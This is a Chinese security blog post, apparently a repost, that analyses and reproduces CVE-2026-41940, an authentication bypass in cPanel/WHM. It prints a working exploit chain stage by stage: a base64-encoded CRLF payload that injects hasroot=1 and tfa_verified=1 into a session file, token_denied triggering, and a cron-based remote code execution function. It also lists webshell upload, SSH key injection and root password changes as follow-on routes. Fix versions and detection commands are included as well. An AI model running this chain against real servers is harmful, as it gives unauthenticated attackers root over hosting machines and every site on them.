文章总结: 该文档详细分析了CVE-2026-41940cPanel/WHM认证绕过漏洞,该漏洞因CRLF注入和Session编码缺陷叠加导致,CVSS评分9.8。攻击者可通过构造恶意HTTPBasic认证头注入CRLF字符,在无ob段Cookie时明文写入session文件,从而添加hasroot=1等字段绕过认证。漏洞影响v11.40后所有版本,已被CISA列入KEV且存在野外利用。文档提供了漏洞原理、复现步骤及修复建议。 综合评分: 85 文章分类: 漏洞分析,WEB安全,渗透测试,红队,解决方案
CVE-2026-41940 cPanel/WHM 认证绕过漏洞复现
原创
cONtro1 cONtro1
Zer0day安全
2026年6月19日 13:43 天津
在小说阅读器读本章
去阅读
一、漏洞概述
| 项目 | 详情 | | — | — | | | |
| 漏洞编号 | CVE-2026-41940 |
| 漏洞类型 | 认证绕过(CRLF注入 + Session编码缺陷) |
| CVSS评分 | 9.8(严重) |
| 影响产品 | cPanel & WHM v11.40之后所有版本 |
| 发现者 | Sina Kheirkhah – watchTowr Labs |
| 公开时间 | 2026年4月28日 |
| CISA KEV | 2026年5月1日列入(已野外利用) |
| CWE | CWE-306(关键功能缺失认证) |
二、背景知识
2.1 cPanel 是什么
cPanel是全球最流行的 Linux服务器Web托管管理面板,让用户通过浏览器图形界面管理服务器,不用敲命令行。
┌─────────────────────────────────────────────┐
│ 你的浏览器 │
│ https://yourserver:2087 │
└──────────────────┬──────────────────────────┘
│
┌─────────▼──────────┐
│ cPanel / WHM │ ← Web管理面板
└─────────┬──────────┘
│
┌──────────────┼──────────────┐
▼ ▼ ▼
Apache MySQL 邮件服务
(网站) (数据库) (收发邮件)
▼ ▼ ▼
DNS FTP SSL证书
(域名) (文件传输) (HTTPS)
两个界面:
| | WHM | cPanel | | — | — | — | | | | |
| 端口 | 2087 | 2083 |
| 使用者 | 服务器管理员 / 主机商 | 网站站长 / 终端用户 |
| 权限 | root级别,管整台服务器 | 只管自己的网站 |
WHM是”房东”,cPanel是”租客”。一台服务器上只有一个WHM,但可以有几百个cPanel账户。
为什么这个漏洞危害大?:cPanel全球数百万台服务器,每台往往托管几百到上千个网站。攻破WHM拿到root → 一台服务器上所有网站全部沦陷。
2.2 cpsrvd 守护进程
cpsrvd = cPanel Service Daemon,cPanel的”大管家”,所有从浏览器到cPanel/WHM的HTTP/HTTPS请求都由它处理。它是cPanel自己用Perl写的专用Web服务器,独立运行,不是Apache/Nginx。
┌──────────────────────────────────────────────────────┐
│ 互联网 │
└──────────────────────┬───────────────────────────────┘
│ HTTPS请求
┌────────▼────────┐
│ cpsrvd │ ← 监听 2087(WHM) / 2083(cPanel)
│ (Perl守护进程) │ cPanel自己的Web服务器
└────────┬────────┘
│
┌────────────┼────────────┐
▼ ▼ ▼
┌──────────┐ ┌──────────┐ ┌──────────────┐
│ Session │ │ 认证模块 │ │ API路由分发 │
│ 管理 │ │ (登录/2FA)│ │ (JSON-API等) │
└──────────┘ └──────────┘ └──────────────┘
cpsrvd的职责:
| 职责 | 具体内容 | | — | — | | HTTPS服务 | 监听2087/2083/2082/2086,自带SSL | | Session管理 | 创建session文件、读写认证状态、超时清理 | | 认证处理 | 表单登录、HTTP Basic认证、双因素认证 | | 安全令牌 | 生成cpsess安全令牌,防CSRF | | API路由 | 将请求分发给cPanel内部模块 |
作为daemon进程的守护行为:
- • 开机自启
- • 崩溃自动重启(tailwatchd watchdog)
- • 多端口监听(2087/2083/2082/2086)
- • fork模型处理并发
三、漏洞原理深度分析
3.1 核心机制:两个Bug叠加
Bug 1:CRLF注入(路径2无输入清理)
cpsrvd有两条代码路径向磁盘写入session文件:
用户请求
│
┌──────▼──────┐
│ cpsrvd │
│ 请求路由 │
└──────┬──────┘
│
┌────────────┴────────────┐
▼ ▼
POST /login/ GET / + Basic头
(表单登录路径) (HTTP Basic认证路径)
│ │
▼ ▼
save_session_path1() save_session_path2()
✅ sanitize_crlf() ❌ 没有sanitize
✅ 有ob_key加密密码 ❌ 无ob时明文写入
│ │
▼ ▼
安全写入 漏洞!CRLF可注入
两条路径在cpsrvd的Perl源码中是两个独立的函数,开发者在路径1中加了清理但忘了在路径2也加。
Bug 2:无ob段Cookie导致密码明文写入
Session Cookie格式为 :SESSIONID,ob_hex,其中 ob_hex 是每会话的对称加密密钥:
| Cookie状态 | 密码处理 | CRLF结果 | | — | — | — | | 完整Cookie(含ob段) | 密码经加密后写入 | CRLF被加密,无法被解析 |
| 去除ob段Cookie | 密码明文写入 | CRLF原样保留,可被解析 |
ob_hex加密流程对比:
有ob_hex: 密码 → XOR/对称加密(用ob_hex做key) → "enc:base64乱码" → 写入session文件
↓
即使CRLF注入成功,加密后的内容无法被解析为key=value
无ob_hex: 密码 → 直接明文写入session文件
↓
CRLF注入的 \r\n 被原样保留,被解析为新的字段分隔符
攻击者必须去掉ob段——这不是破坏功能,而是cPanel的设计缺陷:当Cookie缺少ob段时,cpsrvd不会报错拒绝,而是回退到明文模式。
3.2 为什么CRLF能在路径2中原样写入session文件
这要从HTTP协议、Base64编码、cpsrvd代码逻辑三层来理解。
第一层:HTTP Basic认证格式
Authorization: Basic <base64编码的 username:password>
攻击者构造:
root:x\r\nhasroot=1\r\n... → base64编码 → 放进Header
关键点:Base64编码的是原始字节,\r\n(即 0x0D 0x0A)是合法字节,编码后变成合法的Base64字符串,HTTP头传输没问题。HTTP协议层面不会过滤Base64内部的字节。
payload = "root:x\r\nhasroot=1"
b64 = base64.b64encode(payload.encode())
# 完全合法的Base64,没有任何特殊字符
第二层:cpsrvd解码Basic头后的处理
# cpsrvd Perl伪代码
sub handle_basic_auth {
my $auth_header = $request->header("Authorization");
# 1. Base64解码
my $decoded = decode_base64($auth_header);
# $decoded = "root:x\r\nhasroot=1"
# 2. 按第一个冒号分割
my ($username, $password) = split /:/, $decoded, 2;
# $username = "root"
# $password = "x\r\nhasroot=1" ← CRLF在密码字段里了!
}
第三层:两条路径的差异
路径1(表单登录 POST /login/):
$username =~ s/[\r\n]//g; # ← 删除\r和\n
$password =~ s/[\r\n]//g; # ← 删除\r和\n
my $encrypted_pass = encrypt_with_ob_key($password, $ob_key);
路径2(Basic认证 GET / + Authorization头):
# ★★★ 没有sanitize ★★★
my $encoded_pass = $ob_key ? encrypt($password, $ob_key) : $password;
# 无ob_key → $encoded_pass = "x\r\nhasroot=1"(原样!)
my $content = "user=$username\npass=$encoded_pass\n";
# \r\n被当作换行!
写入磁盘后的实际字节:
user=root\n ← 正常字段
pass=x\r\n ← 密码值"x" + \r\n(CRLF)
hasroot=1\n ← cpsrvd以为这是新的一行字段!
cpsrvd重新读取时按 \n 分割,\r 在解析时被strip,hasroot=1 变成独立的合法字段行。
Image
3.3 Session文件格式为什么可以直接被利用
cpsrvd的session文件格式是固定的、可预测的,解析逻辑简单粗暴:
规则:
\n = 字段分隔符
= = 键值分隔符
没有头部标识、没有版本号、没有magic bytes、没有签名
解析逻辑(Perl伪代码):
sub parse_session_file {
my $content = read_file($session_path);
my %session = ();
foreach my $line (split /\n/, $content) { # 按\n分割
if ($line =~ /=/) {
my ($key, $value) = split /=/, $line, 2; # 按=取键值
$session{$key} = $value; # 直接存入hash
}
}
return %session;
}
没有任何防护:
-
• ❌ 不校验字段来源(是正常写入的还是注入的?)
-
• ❌ 不校验字段数量(正常3-5个,注入7-8个也无所谓)
-
• ❌ 不做签名校验(没有HMAC)
-
❌ 遇到重复key直接覆盖(
user=root出现两次,后面的覆盖前面的)
正常session文件 vs 被毒化的session文件:
正常(密码错误):
user=root
pass=enc:xxxxxx ← 加密后的密码
→ 解析:2个字段,未认证
被毒化:
user=root
pass=x
successful_internal_auth_with_timestamp=9999999999 ← 注入
user=root ← 注入(覆盖前面的)
tfa_verified=1 ← 注入
hasroot=1 ← 注入
→ 解析:5个字段,包含完整认证信息 → 认证通过
cpsrvd的认证检查只看”有没有这些字段”,不问”这些字段从哪来的”:
sub is_authenticated {
my $session = parse_session_file($path);
if ($session{hasroot} eq "1"
&& $session{user} eq "root"
&& $session{successful_internal_auth_with_timestamp} > time() - 86400
&& $session{tfa_verified} eq "1") {
return 1; # 认证通过!
}
return 0;
}
本质是”写了就信(Write-then-Trust)”的安全缺陷——在信任边界上没有做完整性验证。
3.4 为什么伪造session就能获得root权限
因为cpsrvd的认证模型是单点信任——session文件是唯一的信任锚,没有二次校验:
- • ❌ 不会再次查
/etc/shadow验证密码 - • ❌ 不会再次查 PAM 确认身份
- • ❌ 不会检查session里的字段是不是自己写入的
正常情况: 登录成功 → cpsrvd自己写入 hasroot=1 → 后续请求读到 hasroot=1 → 放行
攻击情况: CRLF注入 → 攻击者写入 hasroot=1 → 后续请求读到 hasroot=1 → 放行
↑
它区分不出"自己写的"还是"别人注入的"
这不是cPanel独有的问题。任何基于”服务端Session”的认证系统,只要session存储可被注入/篡改且无完整性保护,都有同样的问题:
| 系统 | Session存储 | 攻击方式 | 完整性保护 | | — | — | — | — | | | | | |
| cPanel | 磁盘文件(键值对) | CRLF注入字段 | ❌ 无 |
| PHP | 磁盘文件(序列化) | 反序列化注入 | ❌ 无签名,但有序列化格式障碍 |
| Flask | Cookie(签名) | 签名密钥泄露 | ✅ HMAC签名 |
| JWT | Token本身 | 算法混淆/弱密钥 | ✅ 签名(但实现可能有缺陷) |
“伪造session = 获得root”成立的5个条件:
- 1. session存储没有完整性保护(无签名/无加密) ← cPanel满足
- 2. 认证判断完全依赖session内容(无二次校验) ← cPanel满足
- 3. session内容可被攻击者影响(注入/覆盖/篡改) ← cPanel满足
- 4. session中存在高权限标记字段(如hasroot=1) ← cPanel满足
- 5. 高权限标记字段能直接决定访问权限 ← cPanel满足
四、Exploit脚本逐行拆解
4.1 脚本结构
exploit.py
├── cPanelExploit 类
│ ├── __init__() — 初始化目标、session
│ ├── stage0_discover_hostname() — 发现主机名
│ ├── stage1_get_session() — 获取预认证session
│ ├── stage2_crlf_injection() — CRLF注入
│ ├── stage3_trigger_token_denied() — 触发token_denied
│ ├── stage4_verify_access() — 验证root权限
│ ├── exploit_rce_cron() — Cron RCE
│ ├── enumerate_cpanel_users() — 枚举用户
│ ├── read_rce_output() — 读取RCE输出
│ └── run() — 运行完整利用链
└── main() — 命令行参数解析
4.2 Stage 1: 获取预认证Session
def stage1_get_session(self):
url = f"{self.target}/login/?login_only=1"
data = {"user": "root", "pass": "wrongpassword123"}
# ↑ 随便输个错误密码,目的是拿到session而非登录
resp = self.session.post(url, data=data, allow_redirects=False, timeout=self.timeout)
# 提取whostmgrsession cookie
cookies = resp.headers.get("Set-Cookie", "")
match = re.search(r'whostmgrsession=([^;]+)', cookies)
if match:
raw_cookie = match.group(1)
# ★★★ 关键操作:去掉逗号后面的ob_hex段 ★★★
if "," in raw_cookie:
self.session_base = raw_cookie.split(",")[0]
# raw_cookie = ":<SESSIONID>,<ob_hex>"
# session_base = ":<SESSIONID>"(只有session ID,没有加密密钥)
else:
self.session_base = raw_cookie
为什么要去掉ob段:有ob段时密码会被加密写入session,CRLF注入即使写入也是密文,无法被解析为key=value。去掉ob段后密码明文写入,CRLF换行符原样保留。
4.3 Stage 2: CRLF注入毒化Session
def stage2_crlf_injection(self):
# 构造CRLF注入payload
payload_raw = "root:x\r\nsuccessful_internal_auth_with_timestamp=9999999999\r\nuser=root\r\ntfa_verified=1\r\nhasroot=1"
# ↑ 用户名:密码占位符
# ↑↑ \r\n = CRLF换行符
payload_b64 = base64.b64encode(payload_raw.encode()).decode()
# Base64编码后是合法的HTTP头值,不会触发任何过滤
url = f"{self.target}/"
headers = {
"Authorization": f"Basic {payload_b64}",
# ★ Cookie只带session_base,不带ob段 ★
"Cookie": f"whostmgrsession={quote(self.session_base, safe='')}"
}
resp = self.session.get(url, headers=headers, allow_redirects=False, timeout=self.timeout)
# 返回401(认证失败),但session文件已被毒化
服务器端处理:cpsrvd解码Basic头得到 username="root", password="x\r\nhasroot=1\r\n...",在路径2(无sanitize、无ob加密)下直接写入session文件,\r\n被当作字段分隔符。
各注入字段作用:
| 字段 | 值 | 作用 |
| — | — | — |
| root:x | 伪造用户名:密码 | 触发Basic认证逻辑,x是密码占位符 |
| successful_internal_auth_with_timestamp | 9999999999 | 伪造内部认证成功标志(时间戳设为远未来) |
| user=root | root | 伪造用户名,覆盖前面的user字段 |
| tfa_verified=1 | 1 | 绕过双因素认证 |
| hasroot=1 | 1 | 关键:伪造root权限标记 |
4.4 Stage 3: 触发token_denied传播
def stage3_trigger_token_denied(self):
url = f"{self.target}/scripts2/listaccts"
headers = {
"Cookie": f"whostmgrsession={quote(self.session_base, safe='')}"
}
resp = self.session.get(url, headers=headers, allow_redirects=False, timeout=self.timeout)
# 返回307重定向 → token_denied触发成功
time.sleep(1) # 等待传播完成
do_token_denied做了什么:重新解析session文件内容,将所有key=value直接写入内存cache。被注入的 hasroot=1、user=root、tfa\_verified=1 等字段在此时生效,session状态从”未认证”变为”已认证root”。
这是典型的”错误处理路径反而放大漏洞”模式——认证失败时触发的 do\_token\_denied 本该拒绝访问,反而将注入字段提升到cache生效。
4.5 Stage 4: 验证Root权限
def stage4_verify_access(self):
# 安全令牌是访问WHM API的必要路径前缀
api_url = f"{self.target}/{self.security_token}/json-api/version"
headers = {
"Cookie": f"whostmgrsession={quote(self.session_base, safe='')}"
}
resp = self.session.get(api_url, headers=headers, allow_redirects=False, timeout=self.timeout)
if resp.status_code == 200:
data = resp.json()
version = data.get("version", "unknown")
# → 认证绕过成功!获得WHM root权限
4.6 Cron RCE
def exploit_rce_cron(self, command, cpanel_user=None):
if not cpanel_user:
cpanel_user = self.enumerate_cpanel_users() # 先枚举用户
# 1. 构造命令:执行后输出写入public_html
output_file = f"rce_output_{int(time.time())}.txt"
full_command = f"{command} > /home/{cpanel_user}/public_html/{output_file} 2>&1"
# 2. 调用Cron::add_line API
params = {
"cpanel_jsonapi_user": cpanel_user,
"cpanel_jsonapi_module": "Cron",
"cpanel_jsonapi_func": "add_line",
"cpanel_jsonapi_apiversion": "2",
"command": full_command, # 要执行的命令
"day": "*", "hour": "*", "minute": "*", # 每分钟执行
"month": "*", "weekday": "*"
}
resp = self.session.get(url, params=params, headers=headers)
# 3. 等待cron执行(最多1分钟)
time.sleep(65)
# 4. 通过Fileman API读取输出
output = self.read_rce_output(cpanel_user, output_file)
RCE的本质:session文件里的注入字段本身不会被执行,它们只是被当作认证判断依据。RCE是认证绕过之后通过WHM API实现的,是两步独立的操作:
Step 1: 认证绕过(CRLF注入) → 骗过门卫,拿到WHM root权限
Step 2: RCE(通过WHM API) → 用root权限调用Cron::add_line等API
Cron RCE的执行链:
攻击者调用API → cpsrvd把命令写入crontab → crond守护进程读取crontab → 执行命令
crond是Linux系统级服务,几乎永远在运行。Cron::add_line的底层实现就是crontab写入,这是cPanel的合法功能,不是漏洞。问题在于未认证的攻击者拿到了root权限来调用这个API。
其他RCE路径:
| 方法 | 原理 | 成功率 | | — | — | — | | | | |
| Cron::add_line | 写crontab,crond定时执行 | 77%(最可靠) |
| Fileman::upload | 上传PHP/CGI webshell到public_html | 较低,依赖web目录可执行 |
| api_token_create | 创建持久化API令牌 | 17% |
| passwd | 修改root密码 | 7% |
| generatesshkeypair | 注入SSH公钥 | 配合使用 |
Image
五、复现结果
5.1 测试环境
| 项目 | 详情 | | — | — | | 攻击机 | Kali Linux / Windows + Python 3 | | 目标 | cPanel模拟环境(Python,监听2087端口) | | 模拟版本 | cPanel 11.136.0.4(存在漏洞) |
5.2 复现步骤与结果
[Stage 1] 获取预认证Session Cookie...
→ Session Cookie 已获取
→ Session Base (无ob段): :<SESSION_ID>
✅ 成功
[Stage 2] CRLF注入毒化Session文件...
→ 响应状态码: 401 (401为预期,Session已被毒化)
→ Session文件内容包含: hasroot=1, tfa_verified=1, user=root
✅ 成功
[Stage 3] 触发do_token_denied机制...
→ 307重定向 → token_denied触发成功
→ 安全令牌已获取
✅ 成功
[Stage 4] 验证Root权限访问WHM API...
→ 200 OK
✅ 认证绕过成功!
[Post-Exploit] 枚举cPanel账户...
→ 获取到cPanel账户列表
✅ 成功
[Post-Exploit] 获取系统负载...
→ 成功获取系统信息
✅ 成功
5.3 模拟服务器日志(CRLF注入触发)
[!] CRLF注入路径被调用
has_ob=False (Cookie不含ob段)
username=root
Session文件内容:
'user=root'
'pass=x'
'successful_internal_auth_with_timestamp=9999999999'
'user=root'
'tfa_verified=1'
'hasroot=1'
[!!!] 检测到注入字段: ['hasroot', 'tfa_verified', 'user', 'successful_internal_auth_with_timestamp']
[!] do_token_denied 被触发
Cache状态: authenticated=True, hasroot=True, user=root
[!!!] 认证绕过成功!Session已被提升为root权限
六、影响版本与修复
6.1 受影响版本
| 版本分支 | 修复版本 | | — | — | | 11.86.* | ≥ 11.86.0.41 | | 11.110.* | ≥ 11.110.0.97 | | 11.118.* | ≥ 11.118.0.63 | | 11.126.* | ≥ 11.126.0.54 | | 11.130.* | ≥ 11.130.0.18 | | 11.132.* | ≥ 11.132.0.29 | | 11.134.* | ≥ 11.134.0.20 | | 11.136.* | ≥ 11.136.0.5 |
6.2 修复方案
1. 立即升级至修复版本
- 2. 防火墙限制2087/2083端口访问
- 3. 启用双因素认证(虽然此漏洞可绕过2FA,但增加攻击复杂度)
- 4. 监控异常Cron任务和API令牌
- 5. 检查session文件目录是否存在异常字段
6.3 检测方法
# 检查cPanel版本
/usr/local/cpanel/cpanel -V
# 检查异常session文件
grep "hasroot=1" /var/cpanel/sessions/raw/*
# 检查异常Basic认证请求
grep "Authorization: Basic" /usr/local/cpanel/logs/access_log | grep "401"
七、根因教训
1. 两条代码路径的不一致性是安全漏洞的经典来源——同一个功能有多个入口时,输入验证必须在所有入口统一实施
2. CRLF注入不仅限于HTTP响应拆分——注入到任何文件(session文件、配置文件、日志文件)都可能造成严重后果
3. Cookie结构设计缺陷——ob段可选导致回退明文模式,应该在缺少ob段时拒绝请求
4. 错误处理路径放大漏洞——do_token_denied本该拒绝访问,反而将注入字段提升到cache生效
5. “写了就信”的信任模型——session文件没有完整性保护(HMAC签名),写入什么就信什么
八、快速复现
# 1. 构建Docker镜像
docker build -t cve-2026-41940-lab .
# 2. 启动靶机
docker run -d -p 2087:2087 --name cpanel-lab cve-2026-41940-lab
# 3. 执行Exploit
python exploit.py -t https://127.0.0.1:2087
# 或使用 docker-compose
docker-compose up -d
8.1 常见问题
可能的问题:Exploit 执行后所有 Stage 返回 401,认证绕过失败
原因:模拟环境的 Cookie 解析器未对 URL 编码做解码,而 exploit 默认对 Cookie 值中的特殊字符(如 :)做了 URL 编码(quote),导致服务器端无法匹配到正确的 Session。
排查方法:
# 检查 Session 文件是否被写入
ls -la /tmp/cpanel_sessions/raw/
# 查看文件内容是否包含注入字段
cat /tmp/cpanel_sessions/raw/*
# 如果文件为空或不存在,说明 Cookie 解析有问题
解决方案:
1. 修改 exploit:去掉 Cookie 中的 URL 编码,将 quote 改为 self.session\_base
2. 修改模拟环境:在 parse\_cookies 函数中对 Cookie 值添加 unquote 解码,如 from urllib.parse import unquote + unquote)
推荐方案 2,修复后 exploit 无需任何改动即可正常使用。
九、参考
- • cPanel官方安全公告
- • WatchTowr Labs分析
- • NVD – CVE-2026-41940
- • FreeBuf深度分析
本复现仅用于授权安全测试和学习研究目的。
欢迎师傅们加入Zer0day安全交流群进行友好交流
公众号回复:cve-2026-41940 领取附件
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Zer0day安全 cONtro1 cONtro1《CVE-2026-41940 cPanel/WHM 认证绕过漏洞复现》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论